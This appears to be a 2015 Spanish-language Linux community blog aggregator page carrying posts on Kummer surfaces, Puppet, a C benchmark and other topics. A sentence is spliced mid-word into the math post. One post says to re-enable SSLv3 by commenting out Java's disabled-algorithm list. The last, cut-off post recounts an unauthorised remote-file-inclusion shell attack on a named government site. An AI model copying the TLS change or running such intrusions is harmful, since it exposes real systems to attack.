    Happy 20th Birthday, Java!

    Martes 02 de junio de 2015

    Eduardo Ruiz Duarte

    Eduardo Ruiz Duarte
    beck's site

    Sobre Campo de funciones de superficie de Kummer de una curva de género 2

    Estoy estudiando un campo de funciones especial para mi investigación que es un subcampo del campo de funciones de la superficie de Kummer de la jacobiana de una curva hiperelíptica $latex C$  de género 2 sobre un campo finito $latex \mathbb{F}_q$.

    Esto lo escribo meramente para poder saber si yo lo entiendo, pero cualquier duda escríbanme en los comentarios, ya que el tema es muy interesante.

    Para poder construir este subcampo primero necesito conocer bien el campo de funciones de la superficie de Kummer asociada a la Jacobiana que realmente es sólamente considerar los puntos de la jacobiana módulo la involución en sus elementos, es decir estamos pegando los puntos opuestos en la Jacobiana, lo que ya no nos permitirá diferenciar $latex P$ de $latex -P$ con $latex P\in \mathbb{J}_{\mathbb{F}_q(C)}$.

    La superficie de Kummer es cuártica en el espacio proyectivo de dimensión 3 $latex \mathbb{P}^3$ que tiene exactamente 16 singularidades nodales (es decir que si ese punto en una superficie en $latex \mathbb{P}^3$ es tal que si lo tomas como el origen de un sistema de coordenadas afín, la ecuación de esa superficie tiene la forma $latex 0=\alpha(x,y,z)+$ términos más grandes en grado con $latex \alpha$ una fórma cuadrática homogénea no degenerada.

    Vamos a construir la superficie de Kummer $latex K(C)$ asociada a $latex P\in\mathbb{J}_{\mathbb{F}_q(C)}$.

    Sea $latex C$ la curva hiperelíptica de género 2 con modelo no singular sobre $latex \mathbb{F}_q$ de característica diferente de 2 dada por

    $latex y^2=f(x)=x^5+a_4x^4+a_3x^3+a_2x^2+a_1x+a_0$  donde $latex a_i \in \mathbb{F}_q$

    donde $latex f$ no tiene raíces múltiples, entonces $latex C$ tiene un sólo punto al $latex \infty$ denotado por $latex P_\infty$ tal que si $latex \iota \in Aut_{\mathbb{F}_q}(C)$ es la involución hiperelíptica dada por el mapeo $latex (x,y)\mapsto (x,-y)$ y $latex \iota(P_\infty)=P_\infty$.

    La clase de divisores canónicos $latex [\omega]\in Pic^0(C)\cong \mathbb{J}_{\mathbb{F}_q(C)}$.  en $latex C$ está dada por líneas verticales cortando la curva por lo que $latex 2P_\infty$ junto con estos 5 puntos $latex 2W_i$ donde $latex W_i$ es uno de los 5 puntos de Weierstrass son divisores canónicos.

    Tenemos ahora que como grupo abeliano $latex \mathbb{J}_{\mathbb{F}_q(C)}:= Div^0(C)/Pr(C)$, es decir los divisores de orden 0 (grupo abeliano libre de las sumas formales de puntos  cuyos elementos cumplen que la suma de sus coeficientes sobre $latex \mathbb{Z}$ da 0) modulo los divisores principales que están formados por los divisores de orden cero nacidos de la intersección de funciones de la curva cuyos puntos tienen coeficiente el órden de intersección de ésta con la función.)

    $latex \mathbb{J}_{\mathbb{F}_q(C)}$ se obtiene via $latex Sym^2(C)$, es decir es la variedad de pares de puntos no ordenados de $latex C$ (es decir, el producto cartesiano de $latex C$ con sigo misma olvidando el orden), es fácil demostrar que $latex \Phi:Sym^2(C)\rightarrow \mathbb{J}_{\mathbb{F}_q(C)}$ con $latex \lbrace P,Q\rbrace\mapsto [P+Q-2\infty]$ donde $latex P,Q\in C$  donde la fibra sobre $latex 0\in \mathbb{J}_{\mathbb{F}_q(C)}$ es $latex \Phi^{-1}(0)=\lbrace \lbrace P,Q \rbrace \in Sym^2(C) \mid P+Q\in [\omega]\rbrace$ y la fibra sobre otro punto es solo otro punto.


    Ahora vamos a identificar el campo de funciones de $latex Sym^2(C)$ denotado por $latex \mathbb{F}_q(Sym^2(C))$ que es también el campo de funciones de $latex \mathbb{J}_{\mathbb{F}_q(C)}$ .

    Comenzamos, considera el producto cartesiano de la curva con si misma $latex C\times C$ y entonces metiendo ot

    Esto lo hice más para mi, pero pretendo complementar la construcción de esto mediante divisores de Mumford.
    ra nueva variable $latex z$ donde $latex z^2=f(z)$ es la misma curva $latex C$ tenemos que :

    $latex \mathbb{F}_q(C\times C)=\mathbb{F}_q(x,z,\sqrt{f(x)}, \sqrt{f(z)})$

    Por otro lado el campo de funciones de $latex Sym^2(C)$  son las funciones que son invariantes bajo permutacion de variables $latex (x,\sqrt{f(x)}) \leftrightarrow (z,\sqrt{f(z))$ es decir

    $latex \mathbb{F}_q(Sym^2(C))$ es el campo fijo de $latex \mathbb{F}_q(C\times C)$ bajo la acción del automorfismo $latex \tau\in Aut(C)$ dado por intercambiar $latex x$ por $latex z$ es decir $latex \tau(x)=z$ y $latex \tau(z)=x$ por lo que tenemos que
    $latex \mathbb{F}_q(Sym^2(C))=\mathbb{F}_q(x+z,xz,z\sqrt{f(x)}, x\sqrt{f(z)})$


    Puedes demostrar que $latex [\mathbb{F}_q(C\times C):\mathbb{F}_q(Sym^2(C))]=2$

    Ahora, el punto base $latex P_\infty$ implica que la involución de divisores $latex \hat \iota(D)=-D\in \mathbb{J}_{\mathbb{F}_q(C)} $ está inducida por la involución hiperelíptica $latex \iota$, de tal manera que el automorfismo inducido de $latex \mathbb{F}_q(Sym^2(C))$ está dado por el cambio de signo de los radicales, por lo que el automorfismo cambia el signo de $latex x\sqrt{f(z)}+z\sqrt{f(x)}$ y deja a los otros generadores fijos, por lo que el campo fijo es finalmente es el campo de funciones de la superficie de Kummer que queríamos construir partiendo de la construcción de la jacobiana módulo involución:
    $latex \mathbb{J}_{\mathbb{F}_q(C)}/(\hat\iota)=\mathcal{K}(\mathbb{J}_{\mathbb{F}_q(C)})=\mathbb{F}_q(x+z,xz,z\sqrt{f(x)}\cdot x\sqrt{f(z)})$

    Y este es el campo de funciones de la superficie de Kummer asociada a la Jacobiana de una curva hiperelíptica de Género 2.

    Puedes probar Más explícitamente con esto:

    Corolario:
    Sea $latex f(x)=\prod_{i=1}^5{(x-\alpha_i)}$
    entonces $latex f(x)f(u)=\prod_{i=1}^5{(x-\alpha_i)(z-\alpha_i)}=\prod_{i=1}^5{(xz-(x+z)\alpha_i+\{\alpha_i}^2)}=\Delta(x,z)$

    Entonces tenemos que la superficie de Kummer de la jacobiana de una curva hiperelíptica de género 2 dada por $latex y^2=f(x)$ tiene como campo de funciones:

    $latex \mathbb{F}_q(x,z,t)$ tal que $latex t^2=\Delta(x,z)$

    Esto lo hice más para mi, pero pretendo complementar la construcción de esto mediante divisores de Mumford.

    Eduardo Ruíz Duarte
    twitter @toorandom

    Lunes 01 de junio de 2015

    Fco. de la Torre Inguanzo

    Fco. de la Torre Inguanzo
    LINUXMANR4

    Plaza de la Tortuga en Torreón Jardín

    Anteriormente ya había publicado algunas imágenes de la Plaza de la Tortuga, pero eran de noche y para apreciar mejor un parque público eran necesarias las fotos de día, cuando el sol esta a todo lo que da y se disfruta la sombra que dan los árboles.

    Desconozco el nombre original u oficial de este espacio, pero de dominio público el nombre de Plaza de la Tortuga por una estructura de esta forma fabricada en cemento que ha sido el “Everest” de muchos pequeñines.

    Click to view slideshow.

    Galería: Plaza de la Tortuga

    La plaza esta ubicada por el Bulevar Revolución y la calle Jesús María del Bosque que es la entrada a Torreón Jardín.

    No hace mucho tiempo y por problemas de seguridad esta plaza fue enrejada en su cara que da al Bulevard Revolución ( Le ponen rejas a la plaza de la tortuga), aunque tiene libre acceso desde el interior de la colonia.

    Se nota que esta plaza tuvo tiempos mejores, pero al menos sus vecinos se han esforzado en mantener este espacio en buenas condiciones.

    The post Plaza de la Tortuga en Torreón Jardín appeared first on LINUXMANR4.

    Emerson Posadas

    Emerson Posadas
    toxickore BLOG

    Run a custom fact based on core facts

    So what if my previous example puppet custom fact easy as 1 2 3, needs to be run only on RedHat systems?

    An additional line on the ruby file is added:

    Facter.add('netuuid') do
       confine :operatingsystem => "RedHat"
       setcode do
          Facter::Core::Execution.exec("echo `grep UUID /etc/sysconfig/network-scripts/ifcfg-eth0 | cut -c 7-42`")
       end
    end

    Any core fact can be referenced with the colon and name of the fact
    :operatingsystem
    :osfamily
    :kernel
    etc.
    Gerónimo Orozco

    Gerónimo Orozco
    Patux's booring news

    OpenStackDay



    El proximo 2 de Junio estaré en el D.F. en el OpenStack Day México con @electrocucarach
    Gerónimo Orozco

    Gerónimo Orozco
    Patux's booring news

    OpenStackGDL website


    http://openstackgdl.org



    Jueves 28 de mayo de 2015

    Emerson Posadas

    Emerson Posadas
    toxickore BLOG

    Proper puppet variable declaration

    The problem:

    Error: Could not retrieve catalog from remote server: Error 400 on SERVER: Syntax error at ','; expected '}' 

    Wrong variable declaration:

    class repos::params {
          $baseurl = "foo",
          $baseurl_key = "ha",
          $sles12_baseurl = "doo",
          $sles12_SDK_baseurl = "ken",
    }


    Proper variable declaration:

    class repos::params {
          $baseurl = "foo"
          $baseurl_key = "ha"
          $sles12_baseurl = "doo"
          $sles12_SDK_baseurl = "ken"
    }
    Fco. de la Torre Inguanzo

    Fco. de la Torre Inguanzo
    LINUXMANR4

    El cubo de Rubik

    Hace muchos años, cuando era niño, fuimos a recoger a mi abuelita (q.e.p.d) al aeropuerto de Guadalajara. Regresaba de un largo viaje a Estados Unidos y teníamos mucho tiempo sin verla, así que el encuentro fue muy emotivo. De regalo me dio un pequeño cubo de Rubik.

    Lo dejé en una mesa del hotel, en mi mente infantil creí que íbamos a regresar, no que ya nos retirábamos para no volver. Y ese fue mi primer y fugaz contacto con el cubo.

    No pasó mucho tiempo para que fuera el juguete más popular en mi escuela primaria. Empecé a ver cubos en todas partes y yo recordaba aquel que dejé olvidado. Intenté armarlo varias veces, pero al no tener uno propio no podía practicar lo suficiente además de que carecía de un método para resolverlo.

    Veía acaloradas discusiones de mis compañeros sobre los movimientos que se tenían que hacer y como se repetían una y otra vez los movimientos, pero ahora que lo pienso, no recuerdo ninguno que lo haya resuelto. Claro que no falta el desesperado que arrancaba las calcomanías y las volvía a colocar en orden, o aquel que desarmaba el cubo para volverlo a armar, pero eso deja evidencias y las trampas eran más que evidentes.

    Han pasado más de 30 años y al fin puedo decir que lo he logrado. Al fin pude resolver el cubo de Rubik, aunque aún tengo la sensación de haberlo logrado como el burro que tocó la flauta, aunque eso es lo de menos estaba resuelto.

    El cubo de rubik solucionado

    Y después de todos estos años ¡Al fin!

    Pero mi inquietud no termina ahí, ahora tengo que razonar y memorizar los movimientos. Con soltura armo un nivel y estoy practicando el segundo, si me equivoco, vuelvo a empezar, de esa manera repaso constantemente los pasos iniciales y mejoro mi tiempo.

    Con el cubo pasa algo curioso, pueden pasar dos cosas, que no te importe encontrar una solución o que te obsesiones con encontrarla. Cuando niño no me importaba mucho solucionarlo y como muchos opté por la ruta del mínimo esfuerzo. Pero la mente es caprichosa, nuevamente apareció el cubo en mi vida y en honor a aquel regalo que me dió alguien que aprecio profundamente me he empeñado en solucionarlo. Espero que algún día pueda llegar con mi abuelita y decirle ¿Se acuerda de aquel cubo que me regaló? :)

    P.D. Si quieren resolverlo les recomiendo la página TheCube.guru es la que más me gustó y explica muy bien con imágenes y videos cada uno de los pasos de la solución.

     

    The post El cubo de Rubik appeared first on LINUXMANR4.

    Lunes 25 de mayo de 2015

    Fco. de la Torre Inguanzo

    Fco. de la Torre Inguanzo
    LINUXMANR4

    Buscar si el IMEI de un celular esta como robado en México

    Después de una larga espera al fin hay un sitio para buscar si el IMEI de un celular esta reportado como robado o extraviado en México.

    Hace unos años escribí un artículo sobre como obtener el IMEI de un teléfono aunque ya lo no tuviéramos en nuestras manos, ( Obtener el IMEI para reportar celulares robado o extraviados ), de esa forma se podía iniciar el trámite para reportar el IMEI del teléfono celular para evitar que alguién más lo pudiera activar con la misma o con otra compañía de telefonía.

    Ahora es posible consultar el IMEI en el sitio del Instituto Federal de Telecomunicaciones, de esta manera, antes de comprar un teléfono usado, podemos revisar si aparece o no con reporte de robo o extravío.

    Búsqueda de un IMEI en el sitio de IFT

    Búsqueda de un IMEI en el sitio de IFT

    Ahora se pueden evitar muchos dolores de cabeza al comprar un aparato que no se va a poder activar (al menos no fácilmente) en una compañía de teléfono.

    Por el momento no se si el servicio es fiable, así que si alguien reportó el IMEI de su teléfono y lo quiere revisar en este sitio lo puede hacer y nos dice si en realidad aparece como robado o extraviado.

    The post Buscar si el IMEI de un celular esta como robado en México appeared first on LINUXMANR4.

    Domingo 24 de mayo de 2015

    ILOM Remote Console: No appropriate protocol #Mac

    Después de actualizar el Java en mi Mac, la consola remota del ILOM me arrojaba este mensaje: “No appropriate protocol (protocol is disabled or cipher suites are inappropriate)”. Para poder ingresar hay que des-habilitar el cifrado SSLv3, puede ser mediante el servidor ILOM , el navegador o directamente Java:

    En mi caso ( Mac OS x Yosemite 10.10.3 ), me logue cómo root y edite el archivo java.security:

    $ sudo nano /Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/lib/security/java.security

    Comente la siguiente linea:
    # jdk.tls.disabledAlgorithms=MD5, SSLv3, DSA, RSA keySize < 2048
    # jdk.tls.disabledAlgorithms=SSLv3

    De esta forma ya podemos visualizar la consola remota del ILOM sin problemas:

    Alcance Libre: Presentando el almacén YUM AL-Server-Plus.
    Alcance Libre: Presentando el almacén YUM AL-Server-Plus.

    Viernes 22 de mayo de 2015

    A veces un “if” es más barato

    En una interesante discusión en el grupo de Facebook de la Comunidad .NET Tijuana surgió el tema de las microoptimizaciones, en particular el uso de evaluación en corto circuito y el ahorro de ifs “que son muy costosos al CPU”.

    Mi último argumento:

    A lo que iba es que el short-circuit, si bien te puede ahorrar ifs, también puede darte sorpresas como brincarse validaciones de seguridad. Ha ocurrido en otros lenguajes. Yo prefiero un if explicito, que en realidad no es nada caro al CPU, a menos que no diseñes bien tus condiciones.

    Entonces el autor original hace un planteamiento: ¿Cuál de los dos siguientes programas es más rápido?

    Programa X:

    for (int i = 0; i < 1000; i++)
    {
        if (x >= 10)
        {
            x = 0;
        }
        else
        {
            x++;
        }
    }

    Programa Y:

    int y = 0;
    for (int i = 0; i < 1000; i++)
    {
        y = (y + 1) % 10;
    }

    A simple vista podría parecer que el programa X, el que tiene ifs, es más complejo: son más líneas y se divide el flujo del programa.

    Pero, como siempre, la respuesta no es tan sencilla. Entonces se abre la caja de pandora. Para poder contestar sin experimentación se requiere de un conocimiento profundo y preciso de varios comportamientos que influyen en el rendimiento de un programa. Lo mejor que podemos hacer es el experimento.

    ¿En realidad importa?

    Compilaré los siguientes programas en C:

    Programa X:

    #define LIMIT 1000
    int main(void) {
        int x = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            if (x >= 10)
            {
                x = 0;
            }
            else
            {
                x++;
            }
        }
        return 0;
    }
    

    Programa Y:

    #define LIMIT 1000
    int main(void) {
        int y = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            y = (y + 1) % 10;
        }
        return 0;
    }
    

    Veamos cuál es más rápido:

    $ c99 -o x x.c
    $ c99 -o y y.c
    $ time ./x
    
    real	0m0.001s
    user	0m0.000s
    sys	0m0.001s
    $ time ./y
    
    real	0m0.001s
    user	0m0.000s
    sys	0m0.001s
    

    Háganle caso al renglón user. En realidad no importa a cuál le hagan caso, los resultados de los dos programas son iguales.

    Evidentemente ¡ambos programas son demasiado rápidos siquiera para ser medidos a pesar de que se trata de 1,000 iteraciones! Es decir, si hay una diferencia, es claro que ésta es menor a 1 ms. Realmente no nos importa.

    Sin embargo, si estamos programando un sistema de manejo masivo de información (como un DBMS), esto podría resultar en una diferencia considerable. Por eso estos sistemas se escriben en C. En esos casos no sólo basta saber si importa, sino qué tanto importa.

    Aumentemos el límite a 1,000,000

    Qué bueno que definí el límite en una línea independiente, así puedo usar sed para modificar los archivos y que quede de manifiesto en la salida que pego a continuación.

    $ sed -i -re 's/^#define LIMIT.*$/#define LIMIT 1000000/' x.c y.c
    $ 
    $ cat x.c
    #define LIMIT 1000000
    int main(void) {
        int x = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            if (x >= 10)
            {
                x = 0;
            }
            else
            {
                x++;
            }
        }
        return 0;
    }
    
    $ cat y.c
    #define LIMIT 1000000
    int main(void) {
        int y = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            y = (y + 1) % 10;
        }
        return 0;
    

    Nuestra modificación funcionó. El límite quedó a 1,000,000. Compilemos:

    $ c99 -o x x.c
    $ c99 -o y y.c

    Compila correctamente. ¿Cómo quedaron los tiempos?

    $ time ./x
    
    real	0m0.005s
    user	0m0.005s
    sys	0m0.000s
    $ time ./y
    
    real	0m0.012s
    user	0m0.012s
    sys	0m0.000s

    Se asoma una ligera tendencia a favor del programa X. Sin embargo es prácticamente negligible. ¡Estamos hablando de 7 ns de diferencia por iteración!

    Probemos con 1,000,000,000 de iteraciones

    Sin embargo, los números aún son muy chicos como para tener suficiente resolución. Cualquier pequeño efecto pasajero sobre la máquina nos podría perjudicar en la medición. Una manera barata de mejorar esto es aumentando a 1,000,000,000 de iteraciones.

    $ sed -i -re 's/^#define LIMIT.*$/#define LIMIT 1000000000/' x.c y.c;
    $ c99 -o x x.c
    $ c99 -o y y.c
    $ time ./x
    
    real	0m2.737s
    user	0m2.735s
    sys	0m0.000s
    $ time ./y
    
    real	0m8.827s
    user	0m8.816s
    sys	0m0.000s

    Ya se observan valores más medibles: la diferencia es de 6 ns por iteración. Esta diferencia radica en que entre más iteraciones, los efectos de la carga del programa desde disco (o caché de disco), segmentación de memoria e inicialización de las librerías se reducen en comparación.

    Niveles de optimización en los compiladores

    GCC soporta varios niveles de optimización ¡y vaya que tienen efecto! ¿Qué pasa si medimos el tiempo de ejecución de los programas con 1,000,000,000 de iteraciones utilizando diferentes niveles de mágicas optimizaciones del compilador?

    Para compilarlos probaremos las banderas -O0, -O1, -O2, -O3, -Ofast y -Os. Por ejemplo, para compilar con el nivel de optimización 1, usaríamos la siguiente instrucción:

    $ c99 -O1 -o x x.c

    Estos son los resultados, medidos en segundos:

    Nivel -O X Y
    0 2.734 8.806
    1 1.450 0.339
    2 0.000 0.000
    3 0.000 0.000
    fast 0.000 0.000
    s 0.000 0.000

    Dos observaciones interesantes:

    1. En -O1, el programa Y funciona más rápido que el programa X.
    2. A partir de -O2 ¡el tiempo se desploma a cero!

    Pero no todo es tan simple…

    Los compiladores son muy astutos, parte 1

    Comparemos el código generado por -O0 contra el código generado por -O2 para el programa X:

    $ c99 -O0 -o x x.c
    $ gdb -batch -ex 'file x' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x00000000004004ed <+0>:	push   %rbp
       0x00000000004004ee <+1>:	mov    %rsp,%rbp
       0x00000000004004f1 <+4>:	movl   $0x0,-0x8(%rbp)
       0x00000000004004f8 <+11>:	movl   $0x0,-0x4(%rbp)
       0x00000000004004ff <+18>:	jmp    0x400518 <main+43>
       0x0000000000400501 <+20>:	cmpl   $0x9,-0x8(%rbp)
       0x0000000000400505 <+24>:	jle    0x400510 <main+35>
       0x0000000000400507 <+26>:	movl   $0x0,-0x8(%rbp)
       0x000000000040050e <+33>:	jmp    0x400514 <main+39>
       0x0000000000400510 <+35>:	addl   $0x1,-0x8(%rbp)
       0x0000000000400514 <+39>:	addl   $0x1,-0x4(%rbp)
       0x0000000000400518 <+43>:	cmpl   $0x3b9ac9ff,-0x4(%rbp)
       0x000000000040051f <+50>:	jle    0x400501 <main+20>
       0x0000000000400521 <+52>:	mov    $0x0,%eax
       0x0000000000400526 <+57>:	pop    %rbp
       0x0000000000400527 <+58>:	retq   
    End of assembler dump.
    $ 
    $ c99 -O2 -o x x.c
    $ gdb -batch -ex 'file x' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x0000000000400400 <+0>:	xor    %eax,%eax
       0x0000000000400402 <+2>:	retq   
    End of assembler dump.
    

    ¡¿DAFUQ?! ¡¿En serio?! ¿El compilador cambió todo el código que escribimos con el sudor de nuestra frente, por dos míseras instrucciones?

    Pues sí, resulta que el compilador observó que nuestro cómputo no sirve de nada porque de todos modos estamos regresando 0 en la línea return 0, así que todo nuestro código no tiene efecto observable. Por eso lo toma, lo tira a la basura y nosotros seguimos observando exactamente el mismo resultado: el correcto.

    Los compiladores son muy astutos, parte 2

    Hagamos el mismo análisis, comparando el código generado por -O0 contra el código generado por -O2, ahora para el programa Y:

    $ c99 -O0 -o y y.c
    $ gdb -batch -ex 'file y' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x00000000004004ed <+0>:	push   %rbp
       0x00000000004004ee <+1>:	mov    %rsp,%rbp
       0x00000000004004f1 <+4>:	movl   $0x0,-0x8(%rbp)
       0x00000000004004f8 <+11>:	movl   $0x0,-0x4(%rbp)
       0x00000000004004ff <+18>:	jmp    0x400536 <main+73>
       0x0000000000400501 <+20>:	mov    -0x8(%rbp),%eax
       0x0000000000400504 <+23>:	lea    0x1(%rax),%ecx
       0x0000000000400507 <+26>:	mov    $0x66666667,%edx
       0x000000000040050c <+31>:	mov    %ecx,%eax
       0x000000000040050e <+33>:	imul   %edx
       0x0000000000400510 <+35>:	sar    $0x2,%edx
       0x0000000000400513 <+38>:	mov    %ecx,%eax
       0x0000000000400515 <+40>:	sar    $0x1f,%eax
       0x0000000000400518 <+43>:	sub    %eax,%edx
       0x000000000040051a <+45>:	mov    %edx,%eax
       0x000000000040051c <+47>:	mov    %eax,-0x8(%rbp)
       0x000000000040051f <+50>:	mov    -0x8(%rbp),%edx
       0x0000000000400522 <+53>:	mov    %edx,%eax
       0x0000000000400524 <+55>:	shl    $0x2,%eax
       0x0000000000400527 <+58>:	add    %edx,%eax
       0x0000000000400529 <+60>:	add    %eax,%eax
       0x000000000040052b <+62>:	sub    %eax,%ecx
       0x000000000040052d <+64>:	mov    %ecx,%eax
       0x000000000040052f <+66>:	mov    %eax,-0x8(%rbp)
       0x0000000000400532 <+69>:	addl   $0x1,-0x4(%rbp)
       0x0000000000400536 <+73>:	cmpl   $0x3b9ac9ff,-0x4(%rbp)
       0x000000000040053d <+80>:	jle    0x400501 <main+20>
       0x000000000040053f <+82>:	mov    $0x0,%eax
       0x0000000000400544 <+87>:	pop    %rbp
       0x0000000000400545 <+88>:	retq   
    End of assembler dump.
    $ 
    $ c99 -O2 -o y y.c
    $ gdb -batch -ex 'file y' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x0000000000400400 <+0>:	xor    %eax,%eax
       0x0000000000400402 <+2>:	retq   
    End of assembler dump.
    

    No sólo ocurre lo mismo, sino que además llama la atención la línea marcada en negritas:

    0x000000000040050e <+33>:	imul   %edx

    A pesar de no utilizar optimizaciones, el compilador sabe que, para calcular el módulo, usar la operación DIV tomaría más ciclos de reloj que seguir un algoritmo basado en multiplicaciones enteras, y sabe que eso es cierto en este caso y en esta arquitectura.

    Otro ejemplo de una optimización común: cuando hablamos de una variable x que es entera positiva, la expresión x / 2 suele ser convertida en x >> 1.

    ¿Cómo evitar que nuestro código sea eliminado?

    Simplemente es cuestión de usar el valor. Podríamos imprimirlo en pantalla, pero para mantener limpio el desensamblaje mejor cambiemos return 0 por return x o return y según corresponda:

    $ sed -i -re "s/return 0;/return x;/" x.c
    $ sed -i -re "s/return 0;/return y;/" y.c
    $ cat x.c
    #define LIMIT 1000000000
    int main(void) {
        int x = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            if (x >= 10)
            {
                x = 0;
            }
            else
            {
                x++;
            }
        }
        return x;
    }
    
    $ cat y.c
    #define LIMIT 1000000000
    int main(void) {
        int y = 0;
        for (int i = 0; i < LIMIT; i++)
        {
            y = (y + 1) % 10;
        }
        return y;
    }
    

    Bien, nuestro código fuente está correcto. Compilemos con -O3:

    $ c99 -O3 -o x x.c
    $ c99 -O3 -o y y.c

    Compiló correctamente. Verifiquemos en el código generado:

    $ gdb -batch -ex 'file x' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x0000000000400400 <+0>:	mov    $0x3b9aca00,%edx
       0x0000000000400405 <+5>:	xor    %eax,%eax
       0x0000000000400407 <+7>:	xor    %esi,%esi
       0x0000000000400409 <+9>:	nopl   0x0(%rax)
       0x0000000000400410 <+16>:	lea    0x1(%rax),%ecx
       0x0000000000400413 <+19>:	cmp    $0x9,%eax
       0x0000000000400416 <+22>:	mov    %ecx,%eax
       0x0000000000400418 <+24>:	cmovg  %esi,%eax
       0x000000000040041b <+27>:	sub    $0x1,%edx
       0x000000000040041e <+30>:	jne    0x400410 <main+16>
       0x0000000000400420 <+32>:	repz retq 
    End of assembler dump.
    $ gdb -batch -ex 'file y' -ex 'disassemble main'
    Dump of assembler code for function main:
       0x0000000000400400 <+0>:	mov    $0x3b9aca00,%esi
       0x0000000000400405 <+5>:	xor    %edx,%edx
       0x0000000000400407 <+7>:	mov    $0x66666667,%edi
       0x000000000040040c <+12>:	nopl   0x0(%rax)
       0x0000000000400410 <+16>:	lea    0x1(%rdx),%ecx
       0x0000000000400413 <+19>:	mov    %ecx,%eax
       0x0000000000400415 <+21>:	imul   %edi
       0x0000000000400417 <+23>:	mov    %ecx,%eax
       0x0000000000400419 <+25>:	sar    $0x1f,%eax
       0x000000000040041c <+28>:	sar    $0x2,%edx
       0x000000000040041f <+31>:	sub    %eax,%edx
       0x0000000000400421 <+33>:	lea    (%rdx,%rdx,4),%eax
       0x0000000000400424 <+36>:	add    %eax,%eax
       0x0000000000400426 <+38>:	sub    %eax,%ecx
       0x0000000000400428 <+40>:	sub    $0x1,%esi
       0x000000000040042b <+43>:	mov    %ecx,%edx
       0x000000000040042d <+45>:	jne    0x400410 <main+16>
       0x000000000040042f <+47>:	mov    %ecx,%eax
       0x0000000000400431 <+49>:	retq   
    End of assembler dump.

    Claramente el código ya no está siendo eliminado.

    $ time ./x
    
    real	0m1.460s
    user	0m1.458s
    sys	0m0.000s
    $ time ./y
    
    real	0m4.188s
    user	0m4.180s
    sys	0m0.004s
    

    El resultado: ~3 ns de diferencia por iteración en -O3.

    La nueva tabla completa de resultados entre los diferentes niveles de optimización, medidos en segundos:

    -O X Y
    0 2.729 8.810
    1 1.455 4.188
    2 1.455 4.180
    3 1.458 4.180
    fast 1.458 4.185
    s 1.451 5.688

    ¡Tenemos un ganador!

    Observaciones interesantes: A diferencia de los resultados que obtuvimos en la primera tabla, donde el código usaba return 0, en esta ocasión el programa Y ya no gana ni siquiera en -O1. En realidad no es que fuera más óptimo anteriormente, sino que el compilador alcanzaba a descartarlo mejor por el uso de return 0.

    Conclusiones

    Las conclusiones te tocan a ti. :-)

    Actualización

    Después de hacer la publicación caí en cuenta de que olvidé mencionar algunos detalles importantes:

    1. El sistema donde se probó es un Intel(R) Xeon(R) CPU X5472 @ 3.00GHz de 8 núcleos con memoria ECC. Nunca vi que se usara más de un solo núcleo. Los invito a repetir las pruebas en sus laptops y Raspberry Pi. Raspberry Pi es ARM, hay que tomarlo en consideración.
    2. GCC no fue lo suficientemente inteligente para detectar que sólo estábamos trabajando con constantes y haber reducido el programa a una asignación directa con complejidad O(1).
    3. Es importante considerar que los dos programas probados no son equivalentes. X arroja 10, Y arroja 0. Para hacer una comparación justa entre dos programas es importante que el resultado sea el mismo. Aparentemente, el motivo del planteamiento era probar brutamente if contra bloques sin if. El motivo es que, en la vida real, las adecuaciones que se necesitarían para garantizar el resultado afectarían la complejidad del programa; se supone que uno es una refactorización del otro. En este caso sí importa cuidar los nanosegundos puesto que se trata de una medición.
    4. El propósito de esta publicación es dejar en claro que la velocidad de un programa es muy variable y que depende de muchos factores, como del lenguaje, del compilador, de la arquitectura en la que corre el programa, del modelo exacto de microprocesador, incluso de la manera en como hacemos nuestra prueba, pero sobre todo, del algoritmo. La microoptimización sólo tiene sentido en casos muy particulares.

    Martes 19 de mayo de 2015

    Gunnar Wolf

    Gunnar Wolf
    Gunnar Wolf

    Feeling somewhat special

    Today I feel more special than I have ever felt.

    Or... Well, or something like that.

    Thing is, there is no clear adjective for this — But I successfully finished my Specialization degree! Yes, believe it or not, today I can formally say I am Specialist in Informatic Security and Information Technologies (Especialista en Seguridad Informática y Tecnologías de la Información), as awarded by the Higher School of Electric and Mechanic Engineering (Escuela Superior de Ingeniería Mecánica y Eléctrica) of the National Polytechnical Institute (Instituto Politécnico Nacional).

    In Mexico and most Latin American countries, degrees are usually incorporated to your name as if they were a nobiliary title. Thus, when graduating from Engineering studies (pre-graduate universitary level), I became "Ingeniero Gunnar Wolf". People graduating from further postgraduate programs get to introduce themselves as "Maestro Foobar Baz" or "Doctor Quux Noox". And yes, a Specialization is a small posgraduate program (I often say, the smallest possible posgraduate). And as a Specialist... What can I brag about? Can say I am Specially Gunnar Wolf? Or Special Gunnar Wolf? Nope. The honorific title for a Specialization is a pointer to null, and when casted into a char* it might corrupt your honor-recognizing function. So I'm still Ingeniero Gunnar Wolf, for information security reasons.

    So that's the reason I am now enrolled in the Masters program. I hope to write an addenda to this message soonish (where soonish ≥ 18 months) saying I'm finally a Maestro.

    As a sidenote, many people asked me: Why did I take on the specialization, which is a degree too small for most kinds of real work recognition? Because it's been around twenty years since I last attended a long-term scholar program as a student. And my dish is quite full with activities and responsabilities. I decided to take a short program, designed for 12 months (I graduated in 16, minus two months that the university was on strike... Quite good, I'd say ;-) ) to see how I fared on it, and only later jumping on the full version.

    Because, yes, to advance my career at the university, I finally recognized and understood that I do need postgraduate studies.

    Oh, and what kind of work did I do for this? Besides the classes I took, I wrote a thesis on a model for evaluating covert channels for establishing secure communications.

    Aprovechar los mensajes de error en PHP para comprometer el servidor.

    Esta prueba de penetración la realice hace aproximadamente 08 años (2007 creo), cuando pasaba por mi etapa de “jaquer gueb”, ya saben la edad donde te sientes invencible delante del ordenador, cómo todo un “Dios de la red” y tienes el ego muy elevado.

    La pagina que se audito fue la Secretaria de Gobierno  de Yucatán  Quintana Roo { segob.qroo.gob.mx }:

    URL warning

    La pagina muestra un mensaje de warning, el cual menciona que no puede abrir cierto parámetro, aquí es donde empezamos a jugar con la URL ( querystring ), de tal forma que podamos incluir un archivo externo (una shell):

    URL querystring RFI

